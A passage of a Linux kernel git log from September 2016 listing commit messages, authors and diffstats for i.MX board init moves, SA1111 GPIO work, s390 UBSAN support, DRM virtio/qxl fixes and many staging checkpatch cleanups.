29 +++++++++++++++++------------ 1 file changed, 17 insertions(+), 12 deletions(-) commit 1cecfa48d98f6b07db8ed0cfda6f18ef3c8f9121 Author: Vladimir Zapolskiy Date: Mon Sep 19 04:37:21 2016 +0300 ARM: imx legacy: mx31moboard: move peripheral initialization to .init_late The change moves some of peripheral registrations and initializations (all peripherals dependent on GPIOs) from .init_machine to .init_late level, this allows to safely shift the shared GPIO controller driver initialization level after init level of i.MX IOMUXC driver. Signed-off-by: Vladimir Zapolskiy Signed-off-by: Shawn Guo arch/arm/mach-imx/mach-mx31moboard.c | 23 ++++++++++++++--------- 1 file changed, 14 insertions(+), 9 deletions(-) commit a95a9322df400b5b4a9dc49dffbb30742ecc5497 Author: Vladimir Zapolskiy Date: Mon Sep 19 04:37:20 2016 +0300 ARM: imx legacy: armadillo5x0: move peripheral initialization to .init_late The change moves some of peripheral registrations and initializations (all peripherals dependent on GPIOs) from .init_machine to .init_late level, this allows to safely shift the shared GPIO controller driver initialization level after init level of i.MX IOMUXC driver. Signed-off-by: Vladimir Zapolskiy Signed-off-by: Shawn Guo arch/arm/mach-imx/mach-armadillo5x0.c | 39 +++++++++++++++++++++-------------- 1 file changed, 23 insertions(+), 16 deletions(-) commit c5f9cfe60bd4763432e78780174fa6b6c5e82336 Author: Vladimir Zapolskiy Date: Mon Sep 19 04:37:19 2016 +0300 ARM: imx legacy: qong: move peripheral initialization to .init_late The change moves some of peripheral registrations and initializations (all peripherals dependent on GPIOs) from .init_machine to .init_late level, this allows to safely shift the shared GPIO controller driver initialization level after init level of i.MX IOMUXC driver. Signed-off-by: Vladimir Zapolskiy Signed-off-by: Shawn Guo arch/arm/mach-imx/mach-qong.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ce689b0de5ec225e04eb9074888c3f2b16398c69 Author: Vladimir Zapolskiy Date: Mon Sep 19 04:37:18 2016 +0300 ARM: imx legacy: mx31-3ds: move peripheral initialization to .init_late The change moves some of peripheral registrations and initializations (all peripherals dependent on GPIOs) from .init_machine to .init_late level, this allows to safely shift the shared GPIO controller driver initialization level after init level of i.MX IOMUXC driver. Signed-off-by: Vladimir Zapolskiy Signed-off-by: Shawn Guo arch/arm/mach-imx/mach-mx31_3ds.c | 39 +++++++++++++++++++++++---------------- 1 file changed, 23 insertions(+), 16 deletions(-) commit 347aa6c41317157b8f8333d058ca02e156748666 Author: Vladimir Zapolskiy Date: Mon Sep 19 04:37:17 2016 +0300 ARM: imx legacy: pcm037: move peripheral initialization to .init_late The change moves some of peripheral registrations and initializations (all peripherals dependent on GPIOs) from .init_machine to .init_late level, this allows to safely shift the shared GPIO controller driver initialization level after init level of i.MX IOMUXC driver. Signed-off-by: Vladimir Zapolskiy Signed-off-by: Shawn Guo arch/arm/mach-imx/mach-pcm037.c | 67 ++++++++++++++++++++--------------------- 1 file changed, 33 insertions(+), 34 deletions(-) commit 7880dcb25958a80f7afb5dff1b024fd22dfdfde8 Author: Vladimir Zapolskiy Date: Mon Sep 19 04:37:16 2016 +0300 ARM: imx legacy: mx31lilly: move peripheral initialization to .init_late The change moves some of peripheral registrations and initializations (all peripherals dependent on GPIOs) from .init_machine to .init_late level, this allows to safely shift the shared GPIO controller driver initialization level after init level of i.MX IOMUXC driver. Signed-off-by: Vladimir Zapolskiy Signed-off-by: Shawn Guo arch/arm/mach-imx/mach-mx31lilly.c | 50 ++++++++++++++++++++++++++++---------- arch/arm/mach-imx/mx31lilly-db.c | 20 --------------- 2 files changed, 37 insertions(+), 33 deletions(-) commit 894b7cbedf54a9eb0b41bce9c555f2afd944910f Author: Vladimir Zapolskiy Date: Mon Sep 19 04:37:15 2016 +0300 ARM: imx legacy: mx31ads: move peripheral initialization to .init_late The change moves some of peripheral registrations and initializations (all peripherals dependent on GPIOs) from .init_machine to .init_late level, this allows to safely shift the shared GPIO controller driver initialization level after init level of i.MX IOMUXC driver. Signed-off-by: Vladimir Zapolskiy Signed-off-by: Shawn Guo arch/arm/mach-imx/mach-mx31ads.c | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) commit 4ed9bb21847b9459cdc16a4027b6058d0540dcc8 Author: Vladimir Zapolskiy Date: Mon Sep 19 04:37:14 2016 +0300 ARM: imx legacy: mx31lite: move peripheral initialization to .init_late The change moves some of peripheral registrations and initializations (all peripherals dependent on GPIOs) from .init_machine to .init_late level, this allows to safely shift the shared GPIO controller driver initialization level after init level of i.MX IOMUXC driver. Signed-off-by: Vladimir Zapolskiy Signed-off-by: Shawn Guo arch/arm/mach-imx/mach-mx31lite.c | 68 +++++++++++++++++++++++++++------------ arch/arm/mach-imx/mx31lite-db.c | 33 ------------------- 2 files changed, 48 insertions(+), 53 deletions(-) commit 4bc2e627c5aa3b69e1a549f71792c738ce220b1c Author: Vladimir Zapolskiy Date: Mon Sep 19 04:37:13 2016 +0300 ARM: imx legacy: kzm: move peripheral initialization to .init_late The change moves some of peripheral registrations and initializations (all peripherals dependent on GPIOs) from .init_machine to .init_late level, this allows to safely shift the shared GPIO controller driver initialization level after init level of i.MX IOMUXC driver. The change is tested on qemu kzm target. Reported-by: Guenter Roeck Tested-by: Guenter Roeck Signed-off-by: Vladimir Zapolskiy Signed-off-by: Shawn Guo arch/arm/mach-imx/mach-kzm_arm11_01.c | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) commit f844cd0d76378fa898890d2448222d407f3f8ecf Author: Chao Yu Date: Tue Sep 20 13:59:07 2016 +0800 nfs: cover ->migratepage with CONFIG_MIGRATION It will be more clean to use CONFIG_MIGRATION to cover nfs' private .migratepage in nfs_file_aops like we do in other part of nfs operations. Signed-off-by: Chao Yu Signed-off-by: Anna Schumaker fs/nfs/file.c | 2 ++ fs/nfs/internal.h | 3 --- 2 files changed, 2 insertions(+), 3 deletions(-) commit cf6e4ca3e53f734f8fcb253a686c1fdbb6a50e85 Author: Russell King Date: Tue Sep 6 00:45:33 2016 +0100 ARM: sa1111: add sa1111_get_irq() Add a helper function to get the irq number for a device. Signed-off-by: Russell King arch/arm/common/sa1111.c | 8 ++++++++ arch/arm/include/asm/hardware/sa1111.h | 2 ++ 2 files changed, 10 insertions(+) commit 1629c9ab3679908d2e18ca306df1f07f48713f6b Author: Russell King Date: Tue Sep 6 18:43:28 2016 +0100 ARM: sa1111: clean up duplication in IRQ chip implementation Clean up the duplication in the IRQ chip implementation - we can compute the register address from the interrupt number rather than duplicating the code for each register. Signed-off-by: Russell King arch/arm/common/sa1111.c | 189 ++++++++++++----------------------------------- 1 file changed, 48 insertions(+), 141 deletions(-) commit 17cf50116e10affaadfee9af2253c841f7ac0623 Author: Russell King Date: Wed Aug 31 08:49:45 2016 +0100 ARM: sa1111: implement a gpio_chip for SA1111 GPIOs Add a gpio_chip instance for SA1111 GPIOs. This allows us to use gpiolib to lookup and manipulate SA1111 GPIOs. Signed-off-by: Russell King arch/arm/common/sa1111.c | 166 +++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 166 insertions(+) commit ccb7d854d65a09ffe4b6c8342b8d1c6bee6740bb Author: Russell King Date: Tue Sep 6 16:01:32 2016 +0100 ARM: sa1111: move irq cleanup to separate function Move the SA1111 interrupt cleanup to a separate function, so it can be re-used in the probe error cleanup path. Signed-off-by: Russell King arch/arm/common/sa1111.c | 33 +++++++++++++++++++-------------- 1 file changed, 19 insertions(+), 14 deletions(-) commit deee856a5c6293c50ad6589c9f8a1cca5ed08ae9 Author: Russell King Date: Tue Aug 30 22:47:35 2016 +0100 ARM: sa1111: use devm_clk_get() Convert sa1111 to use devm_clk_get() to get its clock resource, and strip out the clk_put() calls. This simplifies the error handling a little. Signed-off-by: Russell King arch/arm/common/sa1111.c | 14 ++++---------- 1 file changed, 4 insertions(+), 10 deletions(-) commit 7d53c1f01210aa79838f1fe34b2a89f8e900d720 Author: Russell King Date: Tue Sep 6 15:29:26 2016 +0100 ARM: sa1111: use devm_kzalloc() Use devm_kzalloc() to allocate our driver data, so we can eliminate its kfree() from the device removal and error cleanup paths. Signed-off-by: Russell King arch/arm/common/sa1111.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit eac8dbf74f30479b70b9a53f3b24285bd6229d09 Author: Russell King Date: Sat Sep 3 09:14:58 2016 +0100 ARM: sa1111: ensure we only touch RAB bus type devices when removing When removing a SA1111 device, we try to remove all child devices. However, we must only remove our own RAB bus typed devices from the tree, there may be other devices present which should not be touched. This is necessary before we introduce gpiochip to SA1111 to avoid incorrectly trying to remove the gpiochip device, leading to an oops in __release_resource(). Signed-off-by: Russell King arch/arm/common/sa1111.c | 2 ++ 1 file changed, 2 insertions(+) commit b4bba92dfbe23ccc4f1f6c93db88c39c10aa075a Author: Vincent Abriou Date: Tue Sep 20 15:03:33 2016 +0200 drm/sti: remove stih415-416 platform support stih415 and stih416 platform are obsolete and no more supported. Only stih407 and stih410 platform are maintained. Signed-off-by: Vincent Abriou Acked-by: Benjamin Gaignard Acked-by: Peter Griffin drivers/gpu/drm/sti/Kconfig | 6 +- drivers/gpu/drm/sti/Makefile | 1 - drivers/gpu/drm/sti/sti_compositor.c | 19 -- drivers/gpu/drm/sti/sti_hda.c | 39 +--- drivers/gpu/drm/sti/sti_hdmi.c | 20 -- drivers/gpu/drm/sti/sti_hdmi_tx3g0c55phy.c | 336 ----------------------------- drivers/gpu/drm/sti/sti_hdmi_tx3g0c55phy.h | 14 -- drivers/gpu/drm/sti/sti_mixer.c | 19 -- drivers/gpu/drm/sti/sti_tvout.c | 40 +--- 9 files changed, 14 insertions(+), 480 deletions(-) commit 823d1bc1082970fc02f8172859c789933ed84bc5 Author: Emilio López Date: Mon Sep 19 01:21:20 2016 -0300 dma-buf/sync_file: fix documentation error The ioctl name and description on the documentation block don't match the ioctl being defined. This was probably overlooked while renaming the ioctls during the sync file destaging. This patch provides a more accurate description of what the ioctl actually does. Signed-off-by: Emilio López Reviewed-by: Gustavo Padovan Signed-off-by: Sumit Semwal Link: http://patchwork.freedesktop.org/patch/msgid/20160919042120.6280-1-emilio.lopez@collabora.co.uk include/uapi/linux/sync_file.h | 13 +++++-------- 1 file changed, 5 insertions(+), 8 deletions(-) commit dcc096c540d794456c1edbe6d55b9d611c86e8db Author: Paul Gortmaker Date: Mon Sep 19 17:54:56 2016 -0400 s390: migrate exception table users off module.h and onto extable.h These files were only including module.h for exception table related functions. We've now separated that content out into its own file "extable.h" so now move over to that and avoid all the extra header content in module.h that we don't really need to compile these files. The additions of uaccess.h are to deal with implict includes like: arch/s390/kernel/traps.c: In function 'do_report_trap': arch/s390/kernel/traps.c:56:4: error: implicit declaration of function 'extable_fixup' [-Werror=implicit-function-declaration] arch/s390/kernel/traps.c: In function 'illegal_op': arch/s390/kernel/traps.c:173:3: error: implicit declaration of function 'get_user' [-Werror=implicit-function-declaration] Cc: Heiko Carstens Cc: linux-s390@vger.kernel.org Signed-off-by: Paul Gortmaker Signed-off-by: Martin Schwidefsky arch/s390/kernel/early.c | 2 +- arch/s390/kernel/kprobes.c | 2 ++ arch/s390/kernel/traps.c | 3 ++- arch/s390/mm/fault.c | 2 +- 4 files changed, 6 insertions(+), 3 deletions(-) commit ecc6410abf898c580077e028dd8eb123bfbda502 Author: Sebastian Ott Date: Fri Sep 16 17:01:46 2016 +0200 s390: export header for CLP ioctl Export clp.h for usage by userspace. Signed-off-by: Sebastian Ott Signed-off-by: Martin Schwidefsky arch/s390/include/uapi/asm/Kbuild | 1 + 1 file changed, 1 insertion(+) commit f622b517563b0d3be6c41e932124e0b717149ad8 Author: Sebastian Ott Date: Fri Aug 19 19:57:49 2016 +0200 s390/vmur: fix irq pointer dereference in int handler "irq" in vmur's int handler can be an error pointer. Don't dereference this pointer in that case. Reported-by: Dan Carpenter Signed-off-by: Sebastian Ott Signed-off-by: Martin Schwidefsky drivers/s390/char/vmur.c | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) commit eed5c4b117d1f77553d517072584c4ac779af0ba Author: Stefan Haberland Date: Wed Aug 31 13:31:10 2016 +0200 s390/dasd: add missing KOBJ_CHANGE event for unformatted devices The DASD device driver throws change events for the DASD blockdevice after the online processing is done so that udev rules can take actions after it. The change event was missing for unformatted devices. Signed-off-by: Stefan Haberland Signed-off-by: Martin Schwidefsky drivers/s390/block/dasd.c | 4 ++++ 1 file changed, 4 insertions(+) commit c42d8c7dbe596d849b43b7581bcc39b51f148c48 Author: Christian Borntraeger Date: Mon Sep 12 14:37:20 2016 +0200 s390: enable UBSAN This enables UBSAN for s390. We have to disable the null sanitizer as s390 code does access memory via a null pointer (the prefix page). Signed-off-by: Christian Borntraeger Acked-by: Andrey Ryabinin Signed-off-by: Heiko Carstens Signed-off-by: Martin Schwidefsky arch/s390/Kconfig | 2 ++ arch/s390/boot/compressed/Makefile | 1 + arch/s390/kernel/Makefile | 3 +++ arch/s390/kernel/vdso32/Makefile | 3 ++- arch/s390/kernel/vdso64/Makefile | 3 ++- 5 files changed, 10 insertions(+), 2 deletions(-) commit 725c4d22bbc4fcac5779963e0ff9cdf232afbb90 Author: Christian Borntraeger Date: Mon Sep 12 14:37:19 2016 +0200 ubsan: allow to disable the null sanitizer Some architectures use a hardware defined structure at address zero. Checking for a null pointer will result in many ubsan reports. Allow users to disable the null sanitizer. Signed-off-by: Christian Borntraeger Acked-by: Andrey Ryabinin Signed-off-by: Heiko Carstens Signed-off-by: Martin Schwidefsky lib/Kconfig.ubsan | 11 +++++++++++ scripts/Makefile.ubsan | 5 ++++- 2 files changed, 15 insertions(+), 1 deletion(-) commit f296190e41ee1e1e6912f0ddae09b28e9cfae48d Author: Masahiro Yamada Date: Tue Sep 13 03:10:39 2016 +0900 s390/crashdump: use list_first_entry_or_null The combo of list_empty() check and return list_first_entry() can be replaced with list_first_entry_or_null(). Signed-off-by: Masahiro Yamada Signed-off-by: Heiko Carstens Signed-off-by: Martin Schwidefsky arch/s390/kernel/crash_dump.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 9078a54996a0989e25a04bbb9276bc340a52a673 Author: Christian Borntraeger Date: Mon Sep 12 13:13:38 2016 +0200 s390: claim efficient unaligned access most unaligned accesses are reasonable efficient (no kernel emulation) on s390, let's announce it This also - removes the ubsan false positives for unaligned accesses on s390 with default config - uses simpler arithmetic in several functions in several other areas of the kernel like ethernet frame classification Signed-off-by: Christian Borntraeger Signed-off-by: Martin Schwidefsky arch/s390/Kconfig | 1 + 1 file changed, 1 insertion(+) commit 30b9c96cf7b44d53b9165649c8be34ac234be324 Author: Gustavo Padovan Date: Wed Aug 31 12:26:53 2016 -0400 drm/virtio: add real fence context and seqno virtio fences were created with no fence context, which would make then clash with an allocated fence context. Signed-off-by: Gustavo Padovan Message-id: 1472660813-28219-2-git-send-email-gustavo@padovan.org Signed-off-by: Gerd Hoffmann drivers/gpu/drm/virtio/virtgpu_drv.h | 1 + drivers/gpu/drm/virtio/virtgpu_fence.c | 2 +- drivers/gpu/drm/virtio/virtgpu_kms.c | 1 + 3 files changed, 3 insertions(+), 1 deletion(-) commit 5c32c3dd8501b017e0ce139a2abcd23cc471b773 Author: Gustavo Padovan Date: Wed Aug 31 12:26:52 2016 -0400 drm/virtio: drop virtio_gpu_execbuffer_ioctl() wrapping Instead of wrapping virtio_gpu_execbuffer() to execute the ioctl just execute it directly. Signed-off-by: Gustavo Padovan Message-id: 1472660813-28219-1-git-send-email-gustavo@padovan.org Signed-off-by: Gerd Hoffmann drivers/gpu/drm/virtio/virtgpu_ioctl.c | 24 ++++++++---------------- 1 file changed, 8 insertions(+), 16 deletions(-) commit b28c69dd3d563676db079a678a2deabf37461fbf Author: Heinrich Schuchardt Date: Sun Aug 21 23:06:06 2016 +0200 virtio-gpu: avoid possible NULL pointer dereference If output is NULL it is not permissable to dereference it. So we should leave the respective function in this case. The inconsistency was indicated by cppcheck. No actual NULL pointer dereference was observed. Signed-off-by: Heinrich Schuchardt Message-id: 1471813566-5324-1-git-send-email-xypron.glpk@gmx.de Signed-off-by: Gerd Hoffmann drivers/gpu/drm/virtio/virtgpu_plane.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 4532b241a4b7b0ca372a80baf900ce4ea2015412 Author: Ray Strode Date: Fri Sep 9 11:09:05 2016 -0400 drm/qxl: reapply cursor after SetCrtc calls The qxl driver currently destroys and recreates the qxl "primary" any time the first crtc is set. A side-effect of destroying the primary is mouse state associated with the crtc is lost, which leads to disappearing mouse cursors on wayland sessions. This commit changes the driver to reapply the cursor any time SetCrtc is called. It achieves this by keeping a reference to the cursor bo on the qxl_crtc struct. Signed-off-by: Ray Strode Message-id: 1473433745-11016-1-git-send-email-halfline@gmail.com https://bugzilla.redhat.com/show_bug.cgi?id=1200901 Signed-off-by: Gerd Hoffmann drivers/gpu/drm/qxl/qxl_display.c | 56 ++++++++++++++++++++++++++++++++++++++- drivers/gpu/drm/qxl/qxl_drv.h | 1 + 2 files changed, 56 insertions(+), 1 deletion(-) commit de59576293f82ee285ef5edb31f7169c84403368 Author: Gerd Hoffmann Date: Tue Dec 16 12:29:59 2014 +0100 bochs: ignore device if there isn't enougth memory The qemu stdvga can be configured with a wide range of video memory, from 1 MB to 256 MB (default is 16 MB). In case it is configured with only 1 or 2 MB it isn't really usable with bochsdrm, due to depths other than 32bpp not being supported so that isn't enough memory for a reasonable sized framebuffer. So skip the device and let vgacon or vesafb+fbcon handle the it. Signed-off-by: Gerd Hoffmann drivers/gpu/drm/bochs/bochs_drv.c | 7 +++++++ 1 file changed, 7 insertions(+) commit 7cec540a724654b6b046200c117bb98ea1bc5d04 Author: Rafael Antognolli Date: Thu Sep 15 12:14:25 2016 -0700 dma-buf/sync_file: Increment refcount of fence when all are signaled. When we merge several fences, if all of them are signaled already, we still keep one of them. So instead of using add_fence(), which will not increase the refcount of signaled fences, we should explicitly call fence_get() for the fence we are keeping. This patch fixes a kernel panic that can be triggered by creating a fence that is expired (or increasing the timeline until it expires), then creating a merged fence out of it, and deleting the merged fence. This will make the original expired fence's refcount go to zero. Testcase: igt/sw_sync/sync_expired_merge Signed-off-by: Rafael Antognolli Reviewed-by: Chris Wilson Reviewed-by: Gustavo Padovan Signed-off-by: Sumit Semwal Link: http://patchwork.freedesktop.org/patch/msgid/1473966865-4508-1-git-send-email-rafael.antognolli@intel.com drivers/dma-buf/sync_file.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit 7c7f23614586c4f48c4e8f4b10b62992fe38de3c Author: Rehas Sachdeva Date: Tue Sep 20 16:46:24 2016 +0530 staging: rts5208: Remove space after cast Removes unnecessary space after a cast. Issue found by checkpatch. Signed-off-by: Rehas Sachdeva Signed-off-by: Greg Kroah-Hartman drivers/staging/rts5208/rtsx.h | 4 ++-- drivers/staging/rts5208/xd.c | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) commit eceef9a3f4459e84f214a83ac4c9905baca73832 Author: Rehas Sachdeva Date: Tue Sep 20 16:46:05 2016 +0530 staging: rts5208: Use BIT(x) macro Replaces left shift operation (1 << x) by BIT(x). Issue found by checkpatch. Signed-off-by: Rehas Sachdeva Signed-off-by: Greg Kroah-Hartman drivers/staging/rts5208/rtsx_chip.h | 30 +++++++++++++++--------------- 1 file changed, 15 insertions(+), 15 deletions(-) commit 03282179691330602ec5ab8223b741864452656c Author: Rehas Sachdeva Date: Tue Sep 20 16:45:48 2016 +0530 staging: rts5208: Put constant on right side of comparison Replaces position of constant from left to right side of a comparison. Additionally, modifies logical continuations to be on the previous line and fixes alignment to match open parenthesis. Issues found by checkpatch. Signed-off-by: Rehas Sachdeva Signed-off-by: Greg Kroah-Hartman drivers/staging/rts5208/sd.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit bd778ef093a7c0356524f99244a19c0d04241339 Author: Rehas Sachdeva Date: Tue Sep 20 16:45:33 2016 +0530 staging: rts5208: Fix indentation Fixes indentation by removing unnecessary TAB. Issue found by checkpatch. Signed-off-by: Rehas Sachdeva Signed-off-by: Greg Kroah-Hartman drivers/staging/rts5208/rtsx.h | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 50024433d40f8a152027577a9bba1c45f02fe196 Author: Rehas Sachdeva Date: Tue Sep 20 16:45:04 2016 +0530 staging: rts5208: Add spaces around operators Adds spaces on either side of arithmetic and relational operators like '-', '<' and '*'. Issue found by checkpatch. Signed-off-by: Rehas Sachdeva Signed-off-by: Greg Kroah-Hartman drivers/staging/rts5208/ms.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit c86bdd474a0c7b644fff91e0db069040c6a39926 Author: Rehas Sachdeva Date: Tue Sep 20 16:44:51 2016 +0530 staging: rts5208: Remove unnecessary parentheses Removes unnecessary parentheses from an expression of the form &(x). Issue found by checkpatch. Signed-off-by: Rehas Sachdeva Signed-off-by: Greg Kroah-Hartman drivers/staging/rts5208/ms.c | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) commit ec9d0754e0c64013278fda87d1bd6b8318747abe Author: sayli karnik Date: Tue Sep 20 03:21:38 2016 +0530 staging: comedi: Use vma_pages function on vma object instead of explicit computation This patch uses vma_pages function on vma object instead of explicit computation. Signed-off-by: sayli karnik Reviewed-by: Ian Abbott Signed-off-by: Greg Kroah-Hartman drivers/staging/comedi/comedi_fops.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 33d877bb42df3db877677039746a71c93322add2 Author: Sandhya Bankar Date: Mon Sep 19 17:44:43 2016 +0530 Staging: vt6655: baseband: Remove unnecessary space after a cast No space is necessary after a cast. This issue was found by checkpatch. Signed-off-by: Sandhya Bankar Signed-off-by: Greg Kroah-Hartman drivers/staging/vt6655/baseband.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 58d44745254f30bdc8cd14baf9722e7934495a64 Author: Sandhya Bankar Date: Mon Sep 19 17:47:21 2016 +0530 Staging: vt6655: card: Remove unnecessary space after a cast No space is necessary after a cast. This issue was found by checkpatch. Signed-off-by: Sandhya Bankar Signed-off-by: Greg Kroah-Hartman drivers/staging/vt6655/card.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit f1f5b4303daab5c2e2dbb90d047763367cf556ca Author: Rehas Sachdeva Date: Mon Sep 19 19:26:32 2016 +0530 staging: sm750fb: Add spaces around '|' Adds spaces on either side of a '|'. Issue found by checkpatch. Signed-off-by: Rehas Sachdeva Signed-off-by: Greg Kroah-Hartman drivers/staging/sm750fb/ddk750_display.h | 44 ++++++++++++++++---------------- 1 file changed, 22 insertions(+), 22 deletions(-) commit f4353ee3d3af22641beb99a146ef136f33952e80 Author: Rehas Sachdeva Date: Tue Sep 20 01:05:54 2016 +0530 staging: wlan-ng: Remove unnecessary variable usage Instead of storing the return value into a variable and then returning it, we can club the two into a single return statement. This change was made using the following semantic patch by Coccinelle: @@ local idexpression ret; expression e; @@ -ret = +return e; -return ret; Signed-off-by: Rehas Sachdeva Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/prism2mgmt.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 520a28443fb2f28a663053feb4431c0083268d75 Author: Eva Rachel Retuya Date: Tue Sep 20 11:09:05 2016 +0800 staging: most: hdm-usb: convert pr_warn() to dev_warn() Replace pr_warn() call with its respective dev_warn() counterpart. Semantic patch used to detect and apply the transformation: @a@ identifier dev; expression E; @@ struct device *dev = E; <+... when != dev == NULL - pr_warn( + dev_warn(dev, ...); ...+> Signed-off-by: Eva Rachel Retuya Signed-off-by: Greg Kroah-Hartman drivers/staging/most/hdm-usb/hdm_usb.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 0ea5f7c6808b4ecfc5b045d9cab81803f27670fb Author: Eva Rachel Retuya Date: Tue Sep 20 15:00:49 2016 +0800 staging: media: cxd2099: replace printk with dev_info Use dev_info() instead of printk(). Majority of the conversion was done previously on this commit: 011b2aa [media] staging/media: Use dev_ printks in cxd2099/cxd2099.[ch] Signed-off-by: Eva Rachel Retuya Signed-off-by: Greg Kroah-Hartman drivers/staging/media/cxd2099/cxd2099.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4b9fd698ac98fd578818461ccbd79f27139c8ee3 Author: Rehas Sachdeva Date: Tue Sep 20 13:30:24 2016 +0530 staging: media: bcm2048: Merge assignment with return Instead of storing the return value into a variable and then returning it, we can club the two into a single return statement. This change was made using the following semantic patch by Coccinelle: @@ local idexpression ret; expression e; @@ -ret = +return e; -return ret; Signed-off-by: Rehas Sachdeva Signed-off-by: Greg Kroah-Hartman drivers/staging/media/bcm2048/radio-bcm2048.c | 14 ++++---------- 1 file changed, 4 insertions(+), 10 deletions(-) commit 4b72aa8af0eec14486442d0ad7afabdeb9abca91 Author: Rehas Sachdeva Date: Tue Sep 20 13:30:47 2016 +0530 staging: media: davinci_vpfe: Merge assignment with return Instead of storing the return value into a variable and then returning it, we can club the two into a single return statement. This change was made using the following semantic patch by Coccinelle: @@ local idexpression ret; expression e; @@ -ret = +return e; -return ret; Signed-off-by: Rehas Sachdeva Signed-off-by: Greg Kroah-Hartman drivers/staging/media/davinci_vpfe/dm365_isif.c | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) commit 5173abfc05095da983f16de4c5e2185c7eb1934a Author: Sandhya Bankar Date: Mon Sep 19 17:00:16 2016 +0530 Staging: rts5208: Add space around operator. Add space around operator. This patch was found by checkpatch. Signed-off-by: Sandhya Bankar Signed-off-by: Greg Kroah-Hartman drivers/staging/rts5208/rtsx_chip.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 8bee668de51b7c5ed59be2696a199a335af3397a Author: Sandhya Bankar Date: Mon Sep 19 14:45:04 2016 +0530 Staging: rts5208: rtsx: Use x instead of x != NULL. Use x instead of x != NULL. This patch was found by checkpatch. Signed-off-by: Sandhya Bankar Signed-off-by: Greg Kroah-Hartman drivers/staging/rts5208/rtsx.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f432bc81415d7592e664485701c55dc5c6672a3b Author: Sandhya Bankar Date: Mon Sep 19 14:42:24 2016 +0530 Staging: rts5208: ms: Use x instead of x != NULL. Use x instead of x != NULL. This patch was found by checkpatch. Signed-off-by: Sandhya Bankar Signed-off-by: Greg Kroah-Hartman drivers/staging/rts5208/ms.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e29cebe90120b4ceb5e707cee55ad65427420216 Author: Cathal Mullaney Date: Sun Sep 18 20:08:45 2016 +0100 Staging: rts5208: rtsx_card.c: Fixed brace style issues Fixed several minor brace coding style issues. Signed-off-by: Cathal Mullaney Signed-off-by: Greg Kroah-Hartman drivers/staging/rts5208/rtsx_card.c | 26 +++++++++++++------------- 1 file changed, 13 insertions(+), 13 deletions(-) commit 7e935f181c00f779b3112ae57f423b3d3428e94a Author: Sandhya Bankar Date: Tue Sep 20 13:11:39 2016 +0530 Staging: ks7010: michael_mic: Use "foo *bar" instead of "foo * bar". This issue was found by checkpatch. Signed-off-by: Sandhya Bankar Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/michael_mic.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit d14d3557cb03903d7a477969f352ea9b57e0302d Author: Sandhya Bankar Date: Tue Sep 20 13:09:58 2016 +0530 Staging: ks7010: Use "foo *bar" instead of "foo * bar". This issue was found by checkpatch. Signed-off-by: Sandhya Bankar Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/michael_mic.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 55d6aacd43f808746e9e929d6a0ff8a9b14d2374 Author: Sandhya Bankar Date: Tue Sep 20 12:15:15 2016 +0530 Staging: ks7010: Use "foo *bar" instead of "foo * bar" This patch was found by checkpatch. Signed-off-by: Sandhya Bankar Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/ks_hostif.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 2d738bd28c813d35f80fa7f9931f6d16dba47dbb Author: Sandhya Bankar Date: Tue Sep 20 11:55:47 2016 +0530 Staging: ks7010: Use sizeof structure *pointer over sizeof structure in kzalloc() This issue was found by checkpatch. Signed-off-by: Sandhya Bankar Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/ks7010_sdio.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0525a57b1879370fe0e330708bda3b1c25c937f1 Author: sayli karnik Date: Mon Sep 19 01:46:34 2016 +0530 staging: ks7010: Remove unnecessary variable used to store return value This patch removes an unnecessary variable used to store return values in order to reduce memory usage. Done using coccinelle: @@ type T; constant C; identifier ret; @@ - T ret = C; ... when != ret return - ret + C ; Signed-off-by: sayli karnik Acked-by: Julia Lawall Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/ks_hostif.c | 10 +++------- 1 file changed, 3 insertions(+), 7 deletions(-) commit 197cc86e8e0de1f9f4d2a738e73b9acf34bdc347 Author: Hariharan R Date: Sun Sep 18 20:16:03 2016 -0400 staging: ks7010: fixes typo in ks_hostif.c Fixes typo, FAILUER -> FAILURE Recieve -> Receive Signed-off-by: Hariharan R Signed-off-by: Greg Kroah-Hartman drivers/staging/ks7010/ks_hostif.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 905a672a2f97755c3d7787a125cda100096c999d Author: Sandhya Bankar Date: Sun Sep 18 05:07:21 2016 +0530 Staging: fsl-mc: Use !x instead of x == NULL. Use !x instead of x == NULL. This issue was found by checkpatch. Signed-off-by: Sandhya Bankar Signed-off-by: Greg Kroah-Hartman drivers/staging/fsl-mc/bus/fsl-mc-msi.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 